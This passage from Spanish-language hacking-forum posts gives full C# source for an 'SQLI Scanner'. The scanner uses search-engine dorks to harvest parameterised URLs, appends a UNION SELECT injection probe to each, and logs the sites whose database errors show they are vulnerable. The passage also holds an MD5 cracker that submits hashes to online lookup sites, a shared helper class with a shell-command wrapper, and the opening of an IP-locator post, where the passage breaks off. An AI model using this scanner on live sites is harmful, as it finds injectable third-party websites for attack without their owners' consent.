  31.            toolStripStatusLabel1.Text = "[+] Searching ...";
  32.            this.Refresh();
  33.  
  34.            List<string> urls = new List<string> { };
  35.  
  36.            if (comboBox1.Text == "Bing")
  37.            {
  38.                urls = funcion.bingsearch(textBox1.Text, textBox2.Text);
  39.                urls = tools.repes(tools.cortar(urls));
  40.            }
  41.            else
  42.            {
  43.                urls = funcion.googlesearch(textBox1.Text, textBox2.Text);
  44.                urls = tools.repes(tools.cortar(urls));
  45.            }
  46.  
  47.            foreach (string url in urls)
  48.            {
  49.                listBox1.Items.Add(url);
  50.            }
  51.  
  52.            if (listBox1.Items.Count == 0)
  53.            {
  54.                MessageBox.Show("Not Found");
  55.            }
  56.  
  57.            toolStripStatusLabel1.Text = "[+] Search finished";
  58.            this.Refresh();
  59.        }
  60.  
  61.        private void button2_Click(object sender, EventArgs e)
  62.        {
  63.  
  64.            toolStripStatusLabel1.Text = "[+] Scanning ...";
  65.            this.Refresh();
  66.  
  67.            listBox2.Items.Clear();
  68.  
  69.            DH_Tools tools = new DH_Tools();
  70.  
  71.            String url = "";
  72.            String code = "";
  73.  
  74.            List<string> urls_to_scan = new List<string> { };
  75.  
  76.            foreach (object write in listBox1.Items)
  77.            {
  78.                urls_to_scan.Add(write.ToString());
  79.            }
  80.  
  81.            if (listBox1.Items.Count == 0)
  82.            {
  83.                MessageBox.Show("Not Found");
  84.            }
  85.            else
  86.            {
  87.  
  88.                foreach (string page in urls_to_scan)
  89.                {
  90.  
  91.                    toolStripStatusLabel1.Text = "[+] Checking : "+page;
  92.                    this.Refresh();
  93.  
  94.                    code = tools.toma(page + "-1+union+select+666--");
  95.  
  96.                    Match regex = Regex.Match(code, "The used SELECT statements have a different number of columns", RegexOptions.IgnoreCase);
  97.                    if (regex.Success)
  98.                    {
  99.                        listBox2.Items.Add(page);
  100.                        tools.savefile("sqli-logs.txt", page);
  101.                    }
  102.                }
  103.  
  104.                if (listBox2.Items.Count == 0)
  105.                {
  106.                    MessageBox.Show("Not Found");
  107.                }
  108.  
  109.            }
  110.  
  111.            toolStripStatusLabel1.Text = "[+] Scan Finished";
  112.            this.Refresh();
  113.  
  114.        }
  115.  
  116.        private void button3_Click(object sender, EventArgs e)
  117.        {
  118.            DH_Tools tools = new DH_Tools();
  119.            if (File.Exists("sqli-logs.txt"))
  120.            {
  121.                tools.console("sqli-logs.txt");
  122.            }
  123.            else
  124.            {
  125.                MessageBox.Show("Logs not found");
  126.            }
  127.        }
  128.  
  129.        private void button4_Click(object sender, EventArgs e)
  130.        {
  131.            Application.Exit();
  132.        }
  133.  
  134.        private void listBox1_DoubleClick(object sender, EventArgs e)
  135.        {
  136.            DH_Tools tools = new DH_Tools();
  137.            tools.console("start "+listBox1.SelectedItem.ToString());
  138.  
  139.        }
  140.  
  141.        private void listBox2_DoubleClick(object sender, EventArgs e)
  142.        {
  143.            DH_Tools tools = new DH_Tools();
  144.            tools.console("start " + listBox2.SelectedItem.ToString());
  145.        }
  146.    }
  147. }
  148.  
  149. // The End ?
  150.  

funciones.cs

Código
  1. // Funciones para SQLI Scanner 0.4
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Text;
  7. using System.Net;
  8. using System.Text.RegularExpressions;
  9. using System.Web;
  10.  
  11. namespace SQLI_Scanner
  12. {
  13.    class funciones
  14.    {
  15.        public List<String> bingsearch(string dork, string cantidad)
  16.        {
  17.  
  18.            String code = "";
  19.            Int16 num = 0;
  20.  
  21.            //String dork = "index.php+id";
  22.            //String cantidad = "20";
  23.  
  24.            String url_cortar = "";
  25.            String url_final = "";
  26.  
  27.            WebClient nave = new WebClient();
  28.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  29.  
  30.            List<string> urls = new List<string> { };
  31.  
  32.            for (num = 10; num <= Convert.ToInt16(cantidad); num += 10)
  33.            {
  34.  
  35.                code = nave.DownloadString("http://www.bing.com/search?q=" + dork + "&first=" + num);
  36.  
  37.                Match regex1 = Regex.Match(code, "<h3><a href=\"(.*?)\"", RegexOptions.IgnoreCase);
  38.                while (regex1.Success)
  39.                {
  40.                    url_cortar = regex1.Groups[1].Value;
  41.                    Match regex2 = Regex.Match(url_cortar, "(.*?)=(.*?)", RegexOptions.IgnoreCase);
  42.                    if (regex2.Success)
  43.                    {
  44.                        url_final = regex2.Groups[1].Value + "=";
  45.                        urls.Add(url_final);
  46.                    }
  47.  
  48.                    regex1 = regex1.NextMatch();
  49.  
  50.                }
  51.  
  52.            }
  53.  
  54.            return urls;
  55.  
  56.        }
  57.  
  58.        public List<String> googlesearch(string dork, string paginas)
  59.        {
  60.  
  61.            String code = "";
  62.            Int16 num = 0;
  63.            String lineafinale = "";
  64.            String leer = "";
  65.  
  66.            WebClient nave = new WebClient();
  67.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  68.  
  69.            List<string> urlsgoogle = new List<string> { };
  70.  
  71.            for (num = 10; num <= Convert.ToInt16(paginas); num += 10)
  72.            {
  73.                code = nave.DownloadString("http://www.google.com/search?hl=&q=" + dork + "&start=" + num);
  74.  
  75.                Match regex = Regex.Match(code, "(?<=\"r\"><. href=\")(.+?)\"", RegexOptions.IgnoreCase);
  76.                while (regex.Success)
  77.                {
  78.                    leer = Uri.UnescapeDataString(regex.Groups[1].Value);
  79.                    Match cortada = Regex.Match(leer, @"\/url\?q\=(.*?)\&amp\;", RegexOptions.IgnoreCase);
  80.                    if (cortada.Success)
  81.                    {
  82.                        lineafinale = cortada.Groups[1].Value;
  83.                    }
  84.                    else
  85.                    {
  86.                        lineafinale = leer;
  87.                    }
  88.  
  89.                    urlsgoogle.Add(lineafinale);
  90.  
  91.                    regex = regex.NextMatch();
  92.                }
  93.  
  94.  
  95.            }
  96.  
  97.            return urlsgoogle;
  98.  
  99.        }
  100.    }
  101. }
  102.  
  103. // The End ?
  104.  

DH_Tools.cs

Código
  1. // Class Name : DH Tools
  2. // Version : Beta
  3. // Author : Doddy Hackman
  4. // (C) Doddy Hackman 2014
  5. //
  6. // Functions :
  7. //
  8. // [+] HTTP Methods GET & POST
  9. // [+] Get HTTP Status code number
  10. // [+] HTTP FingerPrinting
  11. // [+] Read File
  12. // [+] Write File
  13. // [+] GET OS
  14. // [+] Remove duplicates from a List
  15. // [+] Cut urls from a List
  16. // [+] Download
  17. // [+] Upload
  18. // [+] Get Basename from a path
  19. // [+] Execute commands
  20. // [+] URI Split
  21. // [+] MD5 Hash Generator
  22. // [+] Get MD5 of file
  23. // [+] Get IP address from host name
  24. //
  25. // Credits :
  26. //
  27. // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
  28. // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
  29. // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
  30. // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
  31. // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
  32. // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
  33. // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
  34. //
  35. // Thanks to : $DoC and atheros14 (Forum indetectables)
  36. //
  37.  
  38. using System;
  39. using System.Collections.Generic;
  40. using System.Text;
  41.  
  42. using System.Net;
  43. using System.IO;
  44. using System.Text.RegularExpressions;
  45. using System.Security.Cryptography;
  46.  
  47. namespace SQLI_Scanner
  48. {
  49.    class DH_Tools
  50.    {
  51.        public string toma(string url)
  52.        {
  53.            string code = "";
  54.  
  55.            try
  56.            {
  57.                WebClient nave = new WebClient();
  58.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  59.                code = nave.DownloadString(url);
  60.            }
  61.            catch
  62.            {
  63.                //
  64.            }
  65.            return code;
  66.        }
  67.  
  68.        public string tomar(string url, string par)
  69.        {
  70.  
  71.            string code = "";
  72.  
  73.            try
  74.            {
  75.  
  76.                HttpWebRequest nave = (HttpWebRequest)
  77.                WebRequest.Create(url);
  78.  
  79.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  80.                nave.Method = "POST";
  81.                nave.ContentType = "application/x-www-form-urlencoded";
  82.  
  83.                Stream anteantecode = nave.GetRequestStream();
  84.  
  85.                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  86.                anteantecode.Close();
  87.  
  88.                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  89.                code = antecode.ReadToEnd();
  90.  
  91.            }
  92.            catch
  93.            {
  94.                //
  95.            }
  96.  
  97.            return code;
  98.  
  99.        }
  100.  
  101.        public string respondecode(string url)
  102.        {
  103.            String code = "";
  104.            try
  105.            {
  106.                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  107.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  108.                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
  109.  
  110.                int number = (int)num.StatusCode;
  111.                code = Convert.ToString(number);
  112.  
  113.            }
  114.            catch
  115.            {
  116.  
  117.                code = "404";
  118.  
  119.            }
  120.            return code;
  121.        }
  122.  
  123.        public string httpfinger(string url)
  124.        {
  125.  
  126.            String code = "";
  127.  
  128.            try
  129.            {
  130.  
  131.                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
  132.                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
  133.  
  134.                for (int num = 0; num < nave2.Headers.Count; ++num)
  135.                {
  136.                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
  137.                }
  138.  
  139.                nave2.Close();
  140.            }
  141.            catch
  142.            {
  143.                //
  144.            }
  145.  
  146.            return code;
  147.  
  148.        }
  149.  
  150.        public string openword(string file)
  151.        {
  152.            String code = "";
  153.            try
  154.            {
  155.                code = System.IO.File.ReadAllText(file);
  156.            }
  157.            catch
  158.            {
  159.                //
  160.            }
  161.            return code;
  162.        }
  163.  
  164.        public void savefile(string file, string texto)
  165.        {
  166.  
  167.            try
  168.            {
  169.                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  170.                save.Write(texto);
  171.                save.Close();
  172.            }
  173.            catch
  174.            {
  175.                //
  176.            }
  177.        }
  178.  
  179.        public string getos()
  180.        {
  181.            string code = "";
  182.  
  183.            try
  184.            {
  185.                System.OperatingSystem os = System.Environment.OSVersion;
  186.                code = Convert.ToString(os);
  187.            }
  188.            catch
  189.            {
  190.                code = "?";
  191.            }
  192.  
  193.            return code;
  194.        }
  195.  
  196.        public List<string> repes(List<string> array)
  197.        {
  198.            List<string> repe = new List<string>();
  199.            foreach (string lin in array)
  200.            {
  201.                if (!repe.Contains(lin))
  202.                {
  203.                    repe.Add(lin);
  204.                }
  205.            }
  206.  
  207.            return repe;
  208.  
  209.        }
  210.  
  211.        public List<string> cortar(List<string> otroarray)
  212.        {
  213.            List<string> cort = new List<string>();
  214.  
  215.            foreach (string row in otroarray)
  216.            {
  217.  
  218.                String lineafinal = "";
  219.  
  220.                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
  221.                if (regex.Success)
  222.                {
  223.                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
  224.                    cort.Add(lineafinal);
  225.                }
  226.  
  227.            }
  228.  
  229.            return cort;
  230.        }
  231.  
  232.        public string download(string url, string savename)
  233.        {
  234.  
  235.            String code = "";
  236.  
  237.            WebClient nave = new WebClient();
  238.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  239.  
  240.            try
  241.            {
  242.                nave.DownloadFile(url, savename);
  243.                code = "OK";
  244.            }
  245.            catch
  246.            {
  247.                code = "Error";
  248.            }
  249.  
  250.            return code;
  251.        }
  252.  
  253.        public string upload(string link, string archivo)
  254.        {
  255.  
  256.            String code = "";
  257.  
  258.            try
  259.            {
  260.  
  261.                WebClient nave = new WebClient();
  262.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  263.                byte[] codedos = nave.UploadFile(link, "POST", archivo);
  264.                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
  265.  
  266.            }
  267.  
  268.            catch
  269.            {
  270.                code = "Error";
  271.            }
  272.  
  273.            return code;
  274.  
  275.        }
  276.  
  277.        public string basename(string file)
  278.        {
  279.            String nombre = "";
  280.  
  281.            FileInfo basename = new FileInfo(file);
  282.            nombre = basename.Name;
  283.  
  284.            return nombre;
  285.  
  286.        }
  287.  
  288.        public string console(string cmd)
  289.        {
  290.  
  291.            string code = "";
  292.  
  293.            try
  294.            {
  295.  
  296.                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  297.                loadnow.RedirectStandardOutput = true;
  298.                loadnow.UseShellExecute = false;
  299.                loadnow.CreateNoWindow = true;
  300.                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  301.                loadnownow.StartInfo = loadnow;
  302.                loadnownow.Start();
  303.                code = loadnownow.StandardOutput.ReadToEnd();
  304.  
  305.            }
  306.  
  307.            catch
  308.            {
  309.                code = "Error";
  310.            }
  311.  
  312.            return code;
  313.  
  314.        }
  315.  
  316.        public string urisplit(string url, string opcion)
  317.        {
  318.  
  319.            string code = "";
  320.  
  321.            Uri dividir = new Uri(url);
  322.  
  323.            if (opcion == "host")
  324.            {
  325.                code = dividir.Host;
  326.            }
  327.  
  328.            if (opcion == "port")
  329.            {
  330.                code = Convert.ToString(dividir.Port);
  331.            }
  332.  
  333.            if (opcion == "path")
  334.            {
  335.                code = dividir.LocalPath;
  336.            }
  337.  
  338.            if (opcion == "file")
  339.            {
  340.                code = dividir.AbsolutePath;
  341.                FileInfo basename = new FileInfo(code);
  342.                code = basename.Name;
  343.            }
  344.  
  345.            if (opcion == "query")
  346.            {
  347.                code = dividir.Query;
  348.            }
  349.  
  350.            if (opcion == "")
  351.            {
  352.                code = "Error";
  353.            }
  354.  
  355.            return code;
  356.        }
  357.  
  358.        public string convertir_md5(string text)
  359.        {
  360.            MD5 convertirmd5 = MD5.Create();
  361.            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
  362.            StringBuilder guardar = new StringBuilder();
  363.            for (int numnow = 0; numnow < infovalor.Length; numnow++)
  364.            {
  365.                guardar.Append(infovalor[numnow].ToString("x2"));
  366.            }
  367.            return guardar.ToString();
  368.        }
  369.  
  370.        public string md5file(string file)
  371.        {
  372.  
  373.            string code = "";
  374.  
  375.            try
  376.            {
  377.                var gen = MD5.Create();
  378.                var ar = File.OpenRead(file);
  379.                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
  380.  
  381.            }
  382.            catch
  383.            {
  384.                code = "Error";
  385.            }
  386.  
  387.            return code;
  388.        }
  389.  
  390.        public string getip(string host)
  391.        {
  392.            string code = "";
  393.            try
  394.            {
  395.                IPAddress[] find = Dns.GetHostAddresses(host);
  396.                code = find[0].ToString();
  397.            }
  398.            catch
  399.            {
  400.                code = "Error";
  401.            }
  402.            return code;
  403.        }
  404.  
  405.    }
  406. }
  407.  
  408. // The End ?
  409.  

Si lo quieren bajar lo pueden hacer de aca.
114  Programación / .NET (C#, VB.NET, ASP) / [C#] MD5 Cracker 0.3 en: 11 Julio 2014, 18:38 pm
Version en C# de este programa para crackear un MD5 usando el servicio de diversas paginas online.

Una imagen :



Los codigos :

Código
  1. // MD5 Cracker 0.3
  2. // (C) Doddy Hackman 2014
  3. // Credits :
  4. // Based in ->
  5. // http://md5online.net
  6. // http://md5decryption.com
  7. // http://md5.my-addr.com
  8. // Thanks to aeonhack for the Theme Skin
  9.  
  10. using System;
  11. using System.Collections.Generic;
  12. using System.ComponentModel;
  13. using System.Data;
  14. using System.Drawing;
  15. using System.Text;
  16. using System.Windows.Forms;
  17. using System.Text.RegularExpressions;
  18.  
  19. namespace md5cracker
  20. {
  21.    public partial class Form1 : Form
  22.    {
  23.        public Form1()
  24.        {
  25.            InitializeComponent();
  26.        }
  27.  
  28.        private void droneButton2_Click(object sender, EventArgs e)
  29.        {
  30.            toolStripStatusLabel1.Text = "[+] Cracking ...";
  31.            this.Refresh();
  32.  
  33.            //202cb962ac59075b964b07152d234b70
  34.  
  35.            string md5 = textBox1.Text;
  36.            string rta = "";
  37.            string code = "";
  38.  
  39.            DH_Tools tools = new DH_Tools();
  40.            code = tools.tomar("http://md5online.net/index.php", "pass=" + md5 + "&option=hash2text&send=Submit");
  41.  
  42.            Match regex = Regex.Match(code, "<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>", RegexOptions.IgnoreCase);
  43.            if (regex.Success)
  44.            {
  45.                rta = regex.Groups[2].Value;
  46.  
  47.            }
  48.            else
  49.            {
  50.                code = tools.tomar("http://md5decryption.com/index.php", "hash=" + md5 + "&submit=Decrypt It!");
  51.  
  52.                regex = Regex.Match(code, "Decrypted Text: </b>(.*?)</font>", RegexOptions.IgnoreCase);
  53.                if (regex.Success)
  54.                {
  55.                    rta = regex.Groups[1].Value;
  56.  
  57.                }
  58.                else
  59.                {
  60.                    code = tools.tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php", "md5=" + md5);
  61.                    regex = Regex.Match(code, "<span class='middle_title'>Hashed string</span>: (.*?)</div>", RegexOptions.IgnoreCase);
  62.                    if (regex.Success)
  63.                    {
  64.                        rta = regex.Groups[1].Value;
  65.  
  66.                    }
  67.                    else
  68.                    {
  69.                        rta = "Not Found";
  70.                    }
  71.  
  72.                }
  73.  
  74.            }
  75.  
  76.            textBox2.Text = rta;
  77.  
  78.            toolStripStatusLabel1.Text = "[+] Finished";
  79.            this.Refresh();
  80.  
  81.        }
  82.  
  83.        private void droneButton3_Click(object sender, EventArgs e)
  84.        {
  85.            Clipboard.SetText(textBox2.Text);
  86.  
  87.            toolStripStatusLabel1.Text = "[+] Copied";
  88.            this.Refresh();
  89.        }
  90.  
  91.        private void droneButton1_Click(object sender, EventArgs e)
  92.        {
  93.            Application.Exit();
  94.        }
  95.  
  96.    }
  97. }
  98.  
  99. // The End ?
  100.  

Código
  1. // Class Name : DH Tools
  2. // Version : Beta
  3. // Author : Doddy Hackman
  4. // (C) Doddy Hackman 2014
  5. //
  6. // Functions :
  7. //
  8. // [+] HTTP Methods GET & POST
  9. // [+] Get HTTP Status code number
  10. // [+] HTTP FingerPrinting
  11. // [+] Read File
  12. // [+] Write File
  13. // [+] GET OS
  14. // [+] Remove duplicates from a List
  15. // [+] Cut urls from a List
  16. // [+] Download
  17. // [+] Upload
  18. // [+] Get Basename from a path
  19. // [+] Execute commands
  20. // [+] URI Split
  21. // [+] MD5 Hash Generator
  22. // [+] Get MD5 of file
  23. // [+] Get IP address from host name
  24. //
  25. // Credits :
  26. //
  27. // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
  28. // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
  29. // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
  30. // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
  31. // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
  32. // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
  33. // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
  34. //
  35. // Thanks to : $DoC and atheros14 (Forum indetectables)
  36. //
  37.  
  38. using System;
  39. using System.Collections.Generic;
  40. using System.Text;
  41.  
  42. using System.Net;
  43. using System.IO;
  44. using System.Text.RegularExpressions;
  45. using System.Security.Cryptography;
  46.  
  47. namespace md5cracker
  48. {
  49.    class DH_Tools
  50.    {
  51.        public string toma(string url)
  52.        {
  53.            string code = "";
  54.  
  55.            try
  56.            {
  57.                WebClient nave = new WebClient();
  58.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  59.                code = nave.DownloadString(url);
  60.            }
  61.            catch
  62.            {
  63.                //
  64.            }
  65.            return code;
  66.        }
  67.  
  68.        public string tomar(string url, string par)
  69.        {
  70.  
  71.            string code = "";
  72.  
  73.            try
  74.            {
  75.  
  76.                HttpWebRequest nave = (HttpWebRequest)
  77.                WebRequest.Create(url);
  78.  
  79.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  80.                nave.Method = "POST";
  81.                nave.ContentType = "application/x-www-form-urlencoded";
  82.  
  83.                Stream anteantecode = nave.GetRequestStream();
  84.  
  85.                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
  86.                anteantecode.Close();
  87.  
  88.                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
  89.                code = antecode.ReadToEnd();
  90.  
  91.            }
  92.            catch
  93.            {
  94.                //
  95.            }
  96.  
  97.            return code;
  98.  
  99.        }
  100.  
  101.        public string respondecode(string url)
  102.        {
  103.            String code = "";
  104.            try
  105.            {
  106.                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
  107.                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  108.                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();
  109.  
  110.                int number = (int)num.StatusCode;
  111.                code = Convert.ToString(number);
  112.  
  113.            }
  114.            catch
  115.            {
  116.  
  117.                code = "404";
  118.  
  119.            }
  120.            return code;
  121.        }
  122.  
  123.        public string httpfinger(string url)
  124.        {
  125.  
  126.            String code = "";
  127.  
  128.            try
  129.            {
  130.  
  131.                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
  132.                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();
  133.  
  134.                for (int num = 0; num < nave2.Headers.Count; ++num)
  135.                {
  136.                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
  137.                }
  138.  
  139.                nave2.Close();
  140.            }
  141.            catch
  142.            {
  143.                //
  144.            }
  145.  
  146.            return code;
  147.  
  148.        }
  149.  
  150.        public string openword(string file)
  151.        {
  152.            String code = "";
  153.            try
  154.            {
  155.                code = System.IO.File.ReadAllText(file);
  156.            }
  157.            catch
  158.            {
  159.                //
  160.            }
  161.            return code;
  162.        }
  163.  
  164.        public void savefile(string file, string texto)
  165.        {
  166.  
  167.            try
  168.            {
  169.                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
  170.                save.Write(texto);
  171.                save.Close();
  172.            }
  173.            catch
  174.            {
  175.                //
  176.            }
  177.        }
  178.  
  179.        public string getos()
  180.        {
  181.            string code = "";
  182.  
  183.            try
  184.            {
  185.                System.OperatingSystem os = System.Environment.OSVersion;
  186.                code = Convert.ToString(os);
  187.            }
  188.            catch
  189.            {
  190.                code = "?";
  191.            }
  192.  
  193.            return code;
  194.        }
  195.  
  196.        public List<string> repes(List<string> array)
  197.        {
  198.            List<string> repe = new List<string>();
  199.            foreach (string lin in array)
  200.            {
  201.                if (!repe.Contains(lin))
  202.                {
  203.                    repe.Add(lin);
  204.                }
  205.            }
  206.  
  207.            return repe;
  208.  
  209.        }
  210.  
  211.        public List<string> cortar(List<string> otroarray)
  212.        {
  213.            List<string> cort = new List<string>();
  214.  
  215.            foreach (string row in otroarray)
  216.            {
  217.  
  218.                String lineafinal = "";
  219.  
  220.                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
  221.                if (regex.Success)
  222.                {
  223.                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
  224.                    cort.Add(lineafinal);
  225.                }
  226.  
  227.            }
  228.  
  229.            return cort;
  230.        }
  231.  
  232.        public string download(string url, string savename)
  233.        {
  234.  
  235.            String code = "";
  236.  
  237.            WebClient nave = new WebClient();
  238.            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  239.  
  240.            try
  241.            {
  242.                nave.DownloadFile(url, savename);
  243.                code = "OK";
  244.            }
  245.            catch
  246.            {
  247.                code = "Error";
  248.            }
  249.  
  250.            return code;
  251.        }
  252.  
  253.        public string upload(string link, string archivo)
  254.        {
  255.  
  256.            String code = "";
  257.  
  258.            try
  259.            {
  260.  
  261.                WebClient nave = new WebClient();
  262.                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
  263.                byte[] codedos = nave.UploadFile(link, "POST", archivo);
  264.                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);
  265.  
  266.            }
  267.  
  268.            catch
  269.            {
  270.                code = "Error";
  271.            }
  272.  
  273.            return code;
  274.  
  275.        }
  276.  
  277.        public string basename(string file)
  278.        {
  279.            String nombre = "";
  280.  
  281.            FileInfo basename = new FileInfo(file);
  282.            nombre = basename.Name;
  283.  
  284.            return nombre;
  285.  
  286.        }
  287.  
  288.        public string console(string cmd)
  289.        {
  290.  
  291.            string code = "";
  292.  
  293.            try
  294.            {
  295.  
  296.                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
  297.                loadnow.RedirectStandardOutput = true;
  298.                loadnow.UseShellExecute = false;
  299.                loadnow.CreateNoWindow = true;
  300.                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
  301.                loadnownow.StartInfo = loadnow;
  302.                loadnownow.Start();
  303.                code = loadnownow.StandardOutput.ReadToEnd();
  304.  
  305.            }
  306.  
  307.            catch
  308.            {
  309.                code = "Error";
  310.            }
  311.  
  312.            return code;
  313.  
  314.        }
  315.  
  316.        public string urisplit(string url, string opcion)
  317.        {
  318.  
  319.            string code = "";
  320.  
  321.            Uri dividir = new Uri(url);
  322.  
  323.            if (opcion == "host")
  324.            {
  325.                code = dividir.Host;
  326.            }
  327.  
  328.            if (opcion == "port")
  329.            {
  330.                code = Convert.ToString(dividir.Port);
  331.            }
  332.  
  333.            if (opcion == "path")
  334.            {
  335.                code = dividir.LocalPath;
  336.            }
  337.  
  338.            if (opcion == "file")
  339.            {
  340.                code = dividir.AbsolutePath;
  341.                FileInfo basename = new FileInfo(code);
  342.                code = basename.Name;
  343.            }
  344.  
  345.            if (opcion == "query")
  346.            {
  347.                code = dividir.Query;
  348.            }
  349.  
  350.            if (opcion == "")
  351.            {
  352.                code = "Error";
  353.            }
  354.  
  355.            return code;
  356.        }
  357.  
  358.        public string convertir_md5(string text)
  359.        {
  360.            MD5 convertirmd5 = MD5.Create();
  361.            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
  362.            StringBuilder guardar = new StringBuilder();
  363.            for (int numnow = 0; numnow < infovalor.Length; numnow++)
  364.            {
  365.                guardar.Append(infovalor[numnow].ToString("x2"));
  366.            }
  367.            return guardar.ToString();
  368.        }
  369.  
  370.        public string md5file(string file)
  371.        {
  372.  
  373.            string code = "";
  374.  
  375.            try
  376.            {
  377.                var gen = MD5.Create();
  378.                var ar = File.OpenRead(file);
  379.                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
  380.  
  381.            }
  382.            catch
  383.            {
  384.                code = "Error";
  385.            }
  386.  
  387.            return code;
  388.        }
  389.  
  390.        public string getip(string host)
  391.        {
  392.            string code = "";
  393.            try
  394.            {
  395.                IPAddress[] find = Dns.GetHostAddresses(host);
  396.                code = find[0].ToString();
  397.            }
  398.            catch
  399.            {
  400.                code = "Error";
  401.            }
  402.            return code;
  403.        }
  404.  
  405.    }
  406. }
  407.  
  408. // The End ?
  409.  

Si quieren bajar el programa lo pueden hacer de aca.
115  Programación / .NET (C#, VB.NET, ASP) / Re: [C#] LocateIP 0.2 en: 7 Julio 2014, 20:23 pm
si , Aeonhack es groso xD.
116  Programación / .NET (C#, VB.NET, ASP) / [C#] LocateIP 0.2 en: 4 Julio 2014, 19:24 pm
Un simple programa en C# para localizar una IP , su localizacion y sus DNS.

Una imagen :



El codigo :

Form1.cs

Código
  1. // LocateIP 0.2
  2. // (C) Doddy Hackman 2014
  3. // Credits :
  4. // To locate IP : http://www.melissadata.com/lookups/iplocation.asp?ipaddress=
  5. // To get DNS : http://www.ip-adress.com/reverse_ip/
  6. // Theme Skin designed by Aeonhack
  7. // Thanks to www.melissadata.com and www.ip-adress.com and Aeonhack
  8.  
  9. using System;
  10. using System.Collections.Generic;
  11. using System.ComponentModel;
  12. using System.Data;
  13. using System.Drawing;
  14. using System.Text;
  15. using System.Windows.Forms;
  16.  
  17. namespace locateip
  18. {
  19.    public partial class Form1 : Form
  20.    {
  21.        public Form1()
  22.        {
  23.            InitializeComponent();
  24.  
